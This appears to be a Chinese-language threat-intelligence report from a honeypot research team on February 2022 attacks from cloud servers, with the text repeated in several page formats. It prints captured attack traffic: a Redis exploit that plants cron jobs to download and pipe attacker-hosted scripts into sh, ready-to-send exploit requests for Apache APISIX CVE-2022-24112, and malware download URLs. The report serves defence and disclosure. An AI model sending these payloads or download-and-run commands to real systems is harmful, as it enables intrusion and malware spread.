公有云网络安全威胁情报（202202）
<!--kg-card-begin: markdown--><h2 id="1">1. 概述</h2>
<ul>
<li>
<p>17个云上重点资产有漏洞攻击行为，包括某民主党派市级委员会、某县级中医院等云上重点单位。</p>
</li>
<li>
<p>随着俄乌冲突全面升级，我们发现有攻击者利用Docker Remote API未授权访问漏洞，对俄罗斯境内服务器发起拒绝服务(DoS)网络攻击。</p>
</li>
<li>
<p>Apache APISIX本月爆出远程代码执行漏洞(CVE-2022-24112)，攻击者通过两种攻击方式可远程执行恶意代码。</p>
</li>
</ul>
<p>本文主要通过360网络安全研究院 Anglerfish蜜罐视角，分析云上热门漏洞攻击细节，以及云上重要资产在公网上发起攻击的情况。</p>
<h2 id="2">2. 云上资产对外扫描攻击</h2>
<p>2月份我们共发现17个命中蜜罐节点的重要单位的云上资产，下表为其中一部分案例，如果需要更多相关资料，请根据文末的联系方式与我们联系。</p>
<table>
<thead>
<tr>
<th style="text-align:center">IP地址</th>
<th style="text-align:center">云服务商</th>
<th style="text-align:center">单位名称</th>
<th>所属行业</th>
<th style="text-align:center">IP所在省份</th>
<th style="text-align:center">漏洞利用</th>
<th style="text-align:center">扫描协议</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">39.105.204.*</td>
<td style="text-align:center">阿里云</td>
<td style="text-align:center">中国****市委员会</td>
<td>政府机关</td>
<td style="text-align:center">北京</td>
<td style="text-align:center">Redis RCE</td>
<td style="text-align:center">Redis</td>
</tr>
<tr>
<td style="text-align:center">39.105.159.*</td>
<td style="text-align:center">阿里云</td>
<td style="text-align:center">**县中医医院</td>
<td>事业单位</td>
<td style="text-align:center">北京</td>
<td style="text-align:center">SSH暴力破解</td>
<td style="text-align:center">HTTP<br />SSH</td>
</tr>
<tr>
<td style="text-align:center">139.159.180.*</td>
<td style="text-align:center">华为云</td>
<td style="text-align:center">**市**区人民政府**街道办事处</td>
<td>政府机关</td>
<td style="text-align:center">广东</td>
<td style="text-align:center">Telnet暴力破解<br />Gpon Router GponForm RCE<br />ThinkPHP RCE<br />Linksys Router unblock RCE</td>
<td style="text-align:center">HTTP<br />Telnet</td>
</tr>
</tbody>
</table>
<p>从行业分布看，在已知行业的重点IP中，事业单位占比最大达80%，其他还包括政府机关和国企。</p>
<p>位于北京的阿里云IP 39.105.204.*，属于某市民主党派委员会，在2月初春节期间一直有Redis扫描和漏洞利用的行为。</p>
<pre><code>*1
$7
COMMAND
*4
$6
config
$3
set
$10
dbfilename
$9
backup.db
*1
$4
save
*4
$6
config
$3
set
$27
stop-writes-on-bgsave-error
$2
no
*1
$8
flushall
*3
$3
set
$7
backup1
$69

*/2 * * * * cd1 -fsSL http://195.58.38.171/cleanfda/init.sh | sh

*3
$3
set
$7
backup2
$71

*/3 * * * * wget -q -O- http://195.58.38.171/cleanfda/init.sh | sh

*3
$3
set
$7
backup3
$72

*/4 * * * * curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh
</code></pre>
<p>访问该IP地址对应的域名可以进入网页：</p>
<p><a href="__GHOST_URL__/content/images/2022/03/image-20220301172006905.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220301172006905.png" class="kg-image"/></a></p>
<p>另一个阿里云IP地址为39.105.159.*，属于某县级中医院。通过对应域名可以访问医院的主页。</p>
<p><a href="__GHOST_URL__/content/images/2022/03/image-20220301173335648.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220301173335648.png" class="kg-image"/></a></p>
<p>这个IP发起了大量SSH暴力破解攻击：</p>
<pre><code>{&quot;username&quot;: &quot;root&quot;, &quot;version&quot;: &quot;SSH-2.0-Go&quot;, &quot;type&quot;: &quot;ssh&quot;, &quot;password&quot;: &quot;qwertyui1&quot;, &quot;hassh&quot;: &quot;01ca35584ad5a1b66cf6a9846b5b2821&quot;, &quot;exec_channel&quot;: &quot;echo -e \&quot;\\x6F\\x6B\&quot;&quot;}
</code></pre>
<h2 id="3">3. 云上热门漏洞攻击</h2>
<h3 id="31dockerremoteapi">3.1 利用Docker Remote API未授权访问漏洞对俄罗斯发起网络攻击</h3>
<p>近期，俄乌局势紧张，冲突也蔓延至网络空间。2月下旬，蜜罐系统捕获到有攻击者利用Docker Remote API未授权访问漏洞在受害设备上部署名为“abagayev/stop-russia”的<a href="https://github.com/abagayev/stop-russia">GitHub开源镜像</a>，利用受害设备发起针对俄罗斯境内服务器的拒绝服务(DoS)网络攻击。</p>
<p>关于Docker Remote API未授权访问漏洞的利用方法，我们在<a href="__GHOST_URL__/public-cloud-threat-intelligence-202201/">上月报告</a>中已经做了较为详细的说明。</p>
<p>我们在本地部署镜像后监测到攻击行为：<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220308173707595.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220308173707595.png" class="kg-image"/></a></p>
<p>在开源项目的<a href="https://github.com/abagayev/stop-russia/blob/main/resources.txt">这个页面</a>，列出了所有俄罗斯网站攻击目标。</p>
<h3 id="32apacheapisixbatchrequestscve202224112">3.2 Apache APISIX batch-requests 远程代码执行漏洞(CVE-2022-24112)</h3>
<h4 id="">漏洞信息</h4>
<p><strong>涉及产品及版本：</strong> Apache APISIX &lt;2.10.4 / &lt;2.12.1<br>
<strong>CVE:</strong> CVE-2022-24112<br>
<strong>披露日期：</strong> 2022年2月11日<br>
<strong>CVSS 3.X 评分：</strong> 9.8<br>
<strong>影响设备量级：</strong> 十万级</p>
<p>目前，该漏洞主要攻击TCP/9000和TCP/9080端口，PoC和技术细节已经公开。</p>
<p>蜜罐系统在2月17日首次捕获到对插件<code>/apisix/batch-requests</code>的访问，2月22日首次捕获到该漏洞的攻击数据包。2月份共捕获到该漏洞的云服务器攻击源IP 23个，其中亚马逊AWS最多。</p>
<h4 id="">攻击方式</h4>
<p>通过 REST Admin API 可以控制 Apache APISIX，但是，Admin API默认只允许127.0.0.1访问。这个漏洞允许攻击者通过默认开启的batch-requests插件的X-Real-IP参数绕过IP地址限制。</p>
<p>使用默认的API key通过该插件发送添加路由请求时，可通过filter_func（用户自定义的过滤函数，用来匹配规则）和script（在HTTP请求/响应周期中执行的脚本）两种方法在路由中写入恶意代码，导致远程代码执行漏洞。</p>
<p>方法1：通过filter_func方式的攻击Payload：</p>
<pre><code>POST /apisix/batch-requests HTTP/1.1
Host: {target}
Content-Length: 454

{&quot;headers&quot;:{&quot;X-Real-IP&quot;:&quot;127.0.0.1&quot;,&quot;Content-Type&quot;:&quot;application/json&quot;},&quot;timeout&quot;:1500,&quot;pipeline&quot;:[{&quot;method&quot;:&quot;PUT&quot;,&quot;path&quot;:&quot;/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1&quot;,&quot;body&quot;:&quot;{\r\n \&quot;name\&quot;: \&quot;test\&quot;, \&quot;method\&quot;: [\&quot;GET\&quot;],\r\n \&quot;uri\&quot;: \&quot;/api/test\&quot;,\r\n \&quot;upstream\&quot;:{\&quot;type\&quot;:\&quot;roundrobin\&quot;,\&quot;nodes\&quot;:{\&quot;httpbin.org:80\&quot;:1}}\r\n,\r\n\&quot;filter_func\&quot;: \&quot;function(vars) os.execute('curl 192.168.19.128:1234'); return true end\&quot;}&quot;}]}
</code></pre>
<p>方法2：通过script方式的攻击Payload：</p>
<pre><code>POST /apisix/batch-requests HTTP/1.1
Host: {target}
Content-Length: 421

{&quot;headers&quot;:{&quot;X-Real-IP&quot;:&quot;127.0.0.1&quot;,&quot;Content-Type&quot;:&quot;application/json&quot;},&quot;timeout&quot;:1500,&quot;pipeline&quot;:[{&quot;method&quot;:&quot;PUT&quot;,&quot;path&quot;:&quot;/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1&quot;,&quot;body&quot;:&quot;{\r\n \&quot;name\&quot;: \&quot;test\&quot;, \&quot;method\&quot;: [\&quot;GET\&quot;],\r\n \&quot;uri\&quot;: \&quot;/api/test\&quot;,\r\n \&quot;upstream\&quot;:{\&quot;type\&quot;:\&quot;roundrobin\&quot;,\&quot;nodes\&quot;:{\&quot;httpbin.org:80\&quot;:1}}\r\n,\r\n\&quot;script\&quot;: \&quot;os.execute('curl 192.168.19.128:1234')\&quot;}&quot;}]}
</code></pre>
<p>我们在本地做了该漏洞的复现，方法1需再次请求设置的URL才可以触发代码执行；方法2可直接触发代码执行，不需要发送二次请求。</p>
<p><a href="__GHOST_URL__/content/images/2022/03/image-20220309102920654.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220309102920654.png" class="kg-image"/></a></p>
<p>2月23日开始，已有恶意软件利用漏洞传播，传播趋势如下图所示。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220311121951071.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220311121951071.png" class="kg-image"/></a></p>
<h2 id="4">4. 云服务器攻击总体情况</h2>
<p>2022年2月，360网络安全研究院 Anglerfish蜜罐系统监测到的云服务器源IP 386170个，其中漏洞扫描和攻击的IP 14072个，传播恶意软件的IP 4242个，进行密码爆破攻击的IP 4535个。</p>
<p>从云服务商的情况看，本月IP数量前5的云服务商仍然是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220309190147632.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220309190147632.png" class="kg-image"/></a></p>
<p>从漏洞来看，上月活跃的Docker Remote API未授权访问漏洞、美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞等在本月仍然较为活跃。GitLab、ISPY的相关漏洞本月活跃IP数量较上月有较多增长。</p>
<p><a href="__GHOST_URL__/content/images/2022/03/image-20220301145151733.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220301145151733.png" class="kg-image"/></a></p>
<p>在恶意软件方面，本月木马下载器类(TrojanDownloader)的传播IP数量超过了恶意挖矿类(CoinMiner)恶意软件。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220301152149325.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220301152149325.png" class="kg-image"/></a></p>
<p>阿里云、腾讯云是传播恶意软件的攻击源IP最多的两家云服务商。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220302165019982.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220302165019982.png" class="kg-image"/></a></p>
<p>oracle.zzhreceive.top仍然是被最多IP使用的下载服务器，head.17kbx.net和payload.krakenbit.net相比上月使用的IP数量有明显的增加。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220302151852549.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220302151852549.png" class="kg-image"/></a></p>
<p>密码爆破攻击方面，87%的攻击源IP集中在SSH协议的密码爆破上，SSH仍然是受到爆破攻击最多的协议。腾讯云是攻击源IP最多的云服务商，提供了超过4000个IP。DigitalOcean和亚马逊AWS排在二三位。<br>
<a href="__GHOST_URL__/content/images/2022/03/image-20220309190420221.png"><img src="__GHOST_URL__/content/images/2022/03/image-20220309190420221.png" class="kg-image"/></a></p>
<h2 id="5">5. 防护建议</h2>
<p>针对本月新出现的Apache APISIX batch-requests远程代码执行漏洞(CVE-2022-24112)，云上用户可做好以下防护措施：<br>
1.在<code>conf/config.yaml</code>修改默认的admin_key，或者注释掉<code>conf/config-default.yaml</code>中的batch-requests；<br>
2.更新到最新版本 2.10.4 或者 2.12.1。</p>
<h2 id="6">6. 联系我们</h2>
<p>感兴趣的读者，可以通过邮箱netlab[at]360.cn联系我们。</p>
<h2 id="7ioclist">7. IoC List</h2>
<p>URL：</p>
<pre><code>http://107.172.249.169/Ugliest.mpsl
http://107.172.249.169/Ugliest.mips
http://107.172.249.169/Ugliest.arm6
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.mips
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.i486
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.m68k
http://107.172.89.142/lx/apep.arm
http://46.101.183.162/eski/.x/juice
http://172.245.186.149/Acid.x86
http://drpelvicpain.com/dr/nano.jpg
http://107.172.89.142/z.sh
</code></pre>
<p>md5：</p>
<pre><code>551341b7f4b547bdc2090f0f40f0cb43
c49271194f775e7fe66e3470b713f0c1
f787a3971619ec278c71f4b1eb88a555
850da4f2e67510e609f9b4db7dd7c8ed
200ea7427ffd18591c6535f67f167acc
a7de7cb5eff5f8ced23efe7eba90c33f
a67799c49ffee34b3467e7714a5abd86
4225d7b11dd787288e3edceab34fc43c
b0783f33954493b1a4ad60eff5eb457a
e956afe0cef4686de6829dcc08f3d46f
cf74569c199d630b49c5d363ae9231b6
</code></pre>
<!--kg-card-end: markdown--><p></p><p></p>
1. 概述


 * 
   
   
   17个云上重点资产有漏洞攻击行为，包括某民主党派市级委员会、某县级中医院等云上重点单位。
   

 * 
   
   
   随着俄乌冲突全面升级，我们发现有攻击者利用Docker Remote API未授权访问漏洞，对俄罗斯境内服务器发起拒绝服务(DoS)网络攻击。
   

 * 
   
   
   Apache APISIX本月爆出远程代码执行漏洞(CVE-2022-24112)，攻击者通过两种攻击方式可远程执行恶意代码。
   


本文主要通过360网络安全研究院 Anglerfish蜜罐视角，分析云上热门漏洞攻击细节，以及云上重要资产在公网上发起攻击的情况。



2. 云上资产对外扫描攻击


2月份我们共发现17个命中蜜罐节点的重要单位的云上资产，下表为其中一部分案例，如果需要更多相关资料，请根据文末的联系方式与我们联系。





IP地址
云服务商
单位名称
所属行业
IP所在省份
漏洞利用
扫描协议




39.105.204.*
阿里云
中国****市委员会
政府机关
北京
Redis RCE
Redis


39.105.159.*
阿里云
**县中医医院
事业单位
北京
SSH暴力破解
HTTP
SSH


139.159.180.*
华为云
**市**区人民政府**街道办事处
政府机关
广东
Telnet暴力破解
Gpon Router GponForm RCE
ThinkPHP RCE
Linksys Router unblock RCE
HTTP
Telnet





从行业分布看，在已知行业的重点IP中，事业单位占比最大达80%，其他还包括政府机关和国企。


位于北京的阿里云IP 39.105.204.*，属于某市民主党派委员会，在2月初春节期间一直有Redis扫描和漏洞利用的行为。


*1
$7
COMMAND
*4
$6
config
$3
set
$10
dbfilename
$9
backup.db
*1
$4
save
*4
$6
config
$3
set
$27
stop-writes-on-bgsave-error
$2
no
*1
$8
flushall
*3
$3
set
$7
backup1
$69

*/2 * * * * cd1 -fsSL http://195.58.38.171/cleanfda/init.sh | sh

*3
$3
set
$7
backup2
$71

*/3 * * * * wget -q -O- http://195.58.38.171/cleanfda/init.sh | sh

*3
$3
set
$7
backup3
$72

*/4 * * * * curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh



访问该IP地址对应的域名可以进入网页：





另一个阿里云IP地址为39.105.159.*，属于某县级中医院。通过对应域名可以访问医院的主页。





这个IP发起了大量SSH暴力破解攻击：


{"username": "root", "version": "SSH-2.0-Go", "type": "ssh", "password": "qwertyui1", "hassh": "01ca35584ad5a1b66cf6a9846b5b2821", "exec_channel": "echo -e \"\\x6F\\x6B\""}




3. 云上热门漏洞攻击



3.1 利用Docker Remote API未授权访问漏洞对俄罗斯发起网络攻击


近期，俄乌局势紧张，冲突也蔓延至网络空间。2月下旬，蜜罐系统捕获到有攻击者利用Docker Remote API未授权访问漏洞在受害设备上部署名为“abagayev/stop-russia”的GitHub开源镜像，利用受害设备发起针对俄罗斯境内服务器的拒绝服务(DoS)网络攻击。


关于Docker Remote API未授权访问漏洞的利用方法，我们在上月报告中已经做了较为详细的说明。


我们在本地部署镜像后监测到攻击行为：




在开源项目的这个页面，列出了所有俄罗斯网站攻击目标。



3.2 Apache APISIX batch-requests 远程代码执行漏洞(CVE-2022-24112)


漏洞信息


涉及产品及版本： Apache APISIX <2.10.4 / <2.12.1

CVE: CVE-2022-24112

披露日期： 2022年2月11日

CVSS 3.X 评分： 9.8

影响设备量级： 十万级


目前，该漏洞主要攻击TCP/9000和TCP/9080端口，PoC和技术细节已经公开。


蜜罐系统在2月17日首次捕获到对插件/apisix/batch-requests的访问，2月22日首次捕获到该漏洞的攻击数据包。2月份共捕获到该漏洞的云服务器攻击源IP 23个，其中亚马逊AWS最多。


攻击方式


通过 REST Admin API 可以控制 Apache APISIX，但是，Admin API默认只允许127.0.0.1访问。这个漏洞允许攻击者通过默认开启的batch-requests插件的X-Real-IP参数绕过IP地址限制。


使用默认的API key通过该插件发送添加路由请求时，可通过filter_func（用户自定义的过滤函数，用来匹配规则）和script（在HTTP请求/响应周期中执行的脚本）两种方法在路由中写入恶意代码，导致远程代码执行漏洞。


方法1：通过filter_func方式的攻击Payload：


POST /apisix/batch-requests HTTP/1.1
Host: {target}
Content-Length: 454

{"headers":{"X-Real-IP":"127.0.0.1","Content-Type":"application/json"},"timeout":1500,"pipeline":[{"method":"PUT","path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1","body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/test\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl 192.168.19.128:1234'); return true end\"}"}]}



方法2：通过script方式的攻击Payload：


POST /apisix/batch-requests HTTP/1.1
Host: {target}
Content-Length: 421

{"headers":{"X-Real-IP":"127.0.0.1","Content-Type":"application/json"},"timeout":1500,"pipeline":[{"method":"PUT","path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1","body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/test\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"script\": \"os.execute('curl 192.168.19.128:1234')\"}"}]}



我们在本地做了该漏洞的复现，方法1需再次请求设置的URL才可以触发代码执行；方法2可直接触发代码执行，不需要发送二次请求。





2月23日开始，已有恶意软件利用漏洞传播，传播趋势如下图所示。





4. 云服务器攻击总体情况


2022年2月，360网络安全研究院 Anglerfish蜜罐系统监测到的云服务器源IP 386170个，其中漏洞扫描和攻击的IP 14072个，传播恶意软件的IP 4242个，进行密码爆破攻击的IP 4535个。


从云服务商的情况看，本月IP数量前5的云服务商仍然是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。




从漏洞来看，上月活跃的Docker Remote API未授权访问漏洞、美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞等在本月仍然较为活跃。GitLab、ISPY的相关漏洞本月活跃IP数量较上月有较多增长。





在恶意软件方面，本月木马下载器类(TrojanDownloader)的传播IP数量超过了恶意挖矿类(CoinMiner)恶意软件。




阿里云、腾讯云是传播恶意软件的攻击源IP最多的两家云服务商。




oracle.zzhreceive.top仍然是被最多IP使用的下载服务器，head.17kbx.net和payload.krakenbit.net相比上月使用的IP数量有明显的增加。




密码爆破攻击方面，87%的攻击源IP集中在SSH协议的密码爆破上，SSH仍然是受到爆破攻击最多的协议。腾讯云是攻击源IP最多的云服务商，提供了超过4000个IP。DigitalOcean和亚马逊AWS排在二三位。





5. 防护建议


针对本月新出现的Apache APISIX batch-requests远程代码执行漏洞(CVE-2022-24112)，云上用户可做好以下防护措施：

1.在conf/config.yaml修改默认的admin_key，或者注释掉conf/config-default.yaml中的batch-requests；

2.更新到最新版本 2.10.4 或者 2.12.1。



6. 联系我们


感兴趣的读者，可以通过邮箱netlab[at]360.cn联系我们。



7. IoC List


URL：


http://107.172.249.169/Ugliest.mpsl
http://107.172.249.169/Ugliest.mips
http://107.172.249.169/Ugliest.arm6
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.mips
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.i486
http://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.m68k
http://107.172.89.142/lx/apep.arm
http://46.101.183.162/eski/.x/juice
http://172.245.186.149/Acid.x86
http://drpelvicpain.com/dr/nano.jpg
http://107.172.89.142/z.sh



md5：


551341b7f4b547bdc2090f0f40f0cb43
c49271194f775e7fe66e3470b713f0c1
f787a3971619ec278c71f4b1eb88a555
850da4f2e67510e609f9b4db7dd7c8ed
200ea7427ffd18591c6535f67f167acc
a7de7cb5eff5f8ced23efe7eba90c33f
a67799c49ffee34b3467e7714a5abd86
4225d7b11dd787288e3edceab34fc43c
b0783f33954493b1a4ad60eff5eb457a
e956afe0cef4686de6829dcc08f3d46f
cf74569c199d630b49c5d363ae9231b6






{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 1. 概述\n\n- 17个云上重点资产有漏洞攻击行为，包括某民主党派市级委员会、某县级中医院等云上重点单位。\n\n- 随着俄乌冲突全面升级，我们发现有攻击者利用Docker Remote API未授权访问漏洞，对俄罗斯境内服务器发起拒绝服务(DoS)网络攻击。\n\n- Apache APISIX本月爆出远程代码执行漏洞(CVE-2022-24112)，攻击者通过两种攻击方式可远程执行恶意代码。\n\n本文主要通过360网络安全研究院 Anglerfish蜜罐视角，分析云上热门漏洞攻击细节，以及云上重要资产在公网上发起攻击的情况。\n\n## 2. 云上资产对外扫描攻击\n\n2月份我们共发现17个命中蜜罐节点的重要单位的云上资产，下表为其中一部分案例，如果需要更多相关资料，请根据文末的联系方式与我们联系。\n\n\n|    IP地址     | 云服务商 |              单位名称              | 所属行业 | IP所在省份 |                           漏洞利用                           |     扫描协议     |\n| :-----------: | :------: | :--------------------------------: | -------- | :--------: | :----------------------------------------------------------: | :--------------: |\n| 39.105.204.*  |  阿里云  |       中国\\*\\*\\*\\*市委员会       | 政府机关 |    北京    |                          Redis RCE                           |      Redis       |\n| 39.105.159.*  |  阿里云  |           \\*\\*县中医医院           | 事业单位 |    北京    |                         SSH暴力破解                          |  HTTP<br />SSH   |\n| 139.159.180.* |  华为云  | \\*\\*市\\*\\*区人民政府\\*\\*街道办事处 | 政府机关 |    广东    | Telnet暴力破解<br />Gpon Router GponForm RCE<br />ThinkPHP RCE<br />Linksys Router unblock RCE | HTTP<br />Telnet |\n\n从行业分布看，在已知行业的重点IP中，事业单位占比最大达80%，其他还包括政府机关和国企。\n\n位于北京的阿里云IP 39.105.204.\\*，属于某市民主党派委员会，在2月初春节期间一直有Redis扫描和漏洞利用的行为。\n\n```\n*1\n$7\nCOMMAND\n*4\n$6\nconfig\n$3\nset\n$10\ndbfilename\n$9\nbackup.db\n*1\n$4\nsave\n*4\n$6\nconfig\n$3\nset\n$27\nstop-writes-on-bgsave-error\n$2\nno\n*1\n$8\nflushall\n*3\n$3\nset\n$7\nbackup1\n$69\n\n*/2 * * * * cd1 -fsSL http://195.58.38.171/cleanfda/init.sh | sh\n\n*3\n$3\nset\n$7\nbackup2\n$71\n\n*/3 * * * * wget -q -O- http://195.58.38.171/cleanfda/init.sh | sh\n\n*3\n$3\nset\n$7\nbackup3\n$72\n\n*/4 * * * * curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh\n```\n\n访问该IP地址对应的域名可以进入网页：\n\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220301172006905.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220301172006905.png\" class=\"kg-image\"/></a>\n\n另一个阿里云IP地址为39.105.159.\\*，属于某县级中医院。通过对应域名可以访问医院的主页。\n\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220301173335648.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220301173335648.png\" class=\"kg-image\"/></a>\n\n这个IP发起了大量SSH暴力破解攻击：\n\n```\n{\"username\": \"root\", \"version\": \"SSH-2.0-Go\", \"type\": \"ssh\", \"password\": \"qwertyui1\", \"hassh\": \"01ca35584ad5a1b66cf6a9846b5b2821\", \"exec_channel\": \"echo -e \\\"\\\\x6F\\\\x6B\\\"\"}\n```\n\n## 3. 云上热门漏洞攻击\n\n### 3.1 利用Docker Remote API未授权访问漏洞对俄罗斯发起网络攻击\n\n近期，俄乌局势紧张，冲突也蔓延至网络空间。2月下旬，蜜罐系统捕获到有攻击者利用Docker Remote API未授权访问漏洞在受害设备上部署名为“abagayev/stop-russia”的[GitHub开源镜像](https://github.com/abagayev/stop-russia)，利用受害设备发起针对俄罗斯境内服务器的拒绝服务(DoS)网络攻击。\n\n关于Docker Remote API未授权访问漏洞的利用方法，我们在[上月报告](__GHOST_URL__/public-cloud-threat-intelligence-202201/)中已经做了较为详细的说明。\n\n我们在本地部署镜像后监测到攻击行为：\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220308173707595.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220308173707595.png\" class=\"kg-image\"/></a>\n\n在开源项目的[这个页面](https://github.com/abagayev/stop-russia/blob/main/resources.txt)，列出了所有俄罗斯网站攻击目标。\n\n### 3.2 Apache APISIX batch-requests 远程代码执行漏洞(CVE-2022-24112)\n\n\n#### 漏洞信息\n\n**涉及产品及版本：** Apache APISIX <2.10.4 / <2.12.1\n**CVE:** CVE-2022-24112\n**披露日期：** 2022年2月11日\n**CVSS 3.X 评分：** 9.8\n**影响设备量级：** 十万级\n\n目前，该漏洞主要攻击TCP/9000和TCP/9080端口，PoC和技术细节已经公开。\n\n蜜罐系统在2月17日首次捕获到对插件`/apisix/batch-requests`的访问，2月22日首次捕获到该漏洞的攻击数据包。2月份共捕获到该漏洞的云服务器攻击源IP 23个，其中亚马逊AWS最多。\n\n#### 攻击方式\n\n通过 REST Admin API 可以控制 Apache APISIX，但是，Admin API默认只允许127.0.0.1访问。这个漏洞允许攻击者通过默认开启的batch-requests插件的X-Real-IP参数绕过IP地址限制。\n\n使用默认的API key通过该插件发送添加路由请求时，可通过filter_func（用户自定义的过滤函数，用来匹配规则）和script（在HTTP请求/响应周期中执行的脚本）两种方法在路由中写入恶意代码，导致远程代码执行漏洞。\n\n方法1：通过filter_func方式的攻击Payload：\n```\nPOST /apisix/batch-requests HTTP/1.1\nHost: {target}\nContent-Length: 454\n\n{\"headers\":{\"X-Real-IP\":\"127.0.0.1\",\"Content-Type\":\"application/json\"},\"timeout\":1500,\"pipeline\":[{\"method\":\"PUT\",\"path\":\"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1\",\"body\":\"{\\r\\n \\\"name\\\": \\\"test\\\", \\\"method\\\": [\\\"GET\\\"],\\r\\n \\\"uri\\\": \\\"/api/test\\\",\\r\\n \\\"upstream\\\":{\\\"type\\\":\\\"roundrobin\\\",\\\"nodes\\\":{\\\"httpbin.org:80\\\":1}}\\r\\n,\\r\\n\\\"filter_func\\\": \\\"function(vars) os.execute('curl 192.168.19.128:1234'); return true end\\\"}\"}]}\n```\n\n方法2：通过script方式的攻击Payload：\n```\nPOST /apisix/batch-requests HTTP/1.1\nHost: {target}\nContent-Length: 421\n\n{\"headers\":{\"X-Real-IP\":\"127.0.0.1\",\"Content-Type\":\"application/json\"},\"timeout\":1500,\"pipeline\":[{\"method\":\"PUT\",\"path\":\"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1\",\"body\":\"{\\r\\n \\\"name\\\": \\\"test\\\", \\\"method\\\": [\\\"GET\\\"],\\r\\n \\\"uri\\\": \\\"/api/test\\\",\\r\\n \\\"upstream\\\":{\\\"type\\\":\\\"roundrobin\\\",\\\"nodes\\\":{\\\"httpbin.org:80\\\":1}}\\r\\n,\\r\\n\\\"script\\\": \\\"os.execute('curl 192.168.19.128:1234')\\\"}\"}]}\n```\n\n我们在本地做了该漏洞的复现，方法1需再次请求设置的URL才可以触发代码执行；方法2可直接触发代码执行，不需要发送二次请求。\n\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220309102920654.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220309102920654.png\" class=\"kg-image\"/></a>\n\n2月23日开始，已有恶意软件利用漏洞传播，传播趋势如下图所示。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220311121951071.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220311121951071.png\" class=\"kg-image\"/></a>\n\n## 4. 云服务器攻击总体情况\n\n2022年2月，360网络安全研究院 Anglerfish蜜罐系统监测到的云服务器源IP 386170个，其中漏洞扫描和攻击的IP 14072个，传播恶意软件的IP 4242个，进行密码爆破攻击的IP 4535个。\n\n从云服务商的情况看，本月IP数量前5的云服务商仍然是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220309190147632.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220309190147632.png\" class=\"kg-image\"/></a>\n\n从漏洞来看，上月活跃的Docker Remote API未授权访问漏洞、美国飞塔（Fortinet）FortiOS未授权任意文件读取漏洞等在本月仍然较为活跃。GitLab、ISPY的相关漏洞本月活跃IP数量较上月有较多增长。\n\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220301145151733.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220301145151733.png\" class=\"kg-image\"/></a>\n\n在恶意软件方面，本月木马下载器类(TrojanDownloader)的传播IP数量超过了恶意挖矿类(CoinMiner)恶意软件。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220301152149325.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220301152149325.png\" class=\"kg-image\"/></a>\n\n阿里云、腾讯云是传播恶意软件的攻击源IP最多的两家云服务商。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220302165019982.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220302165019982.png\" class=\"kg-image\"/></a>\n\noracle.zzhreceive.top仍然是被最多IP使用的下载服务器，head.17kbx.net和payload.krakenbit.net相比上月使用的IP数量有明显的增加。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220302151852549.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220302151852549.png\" 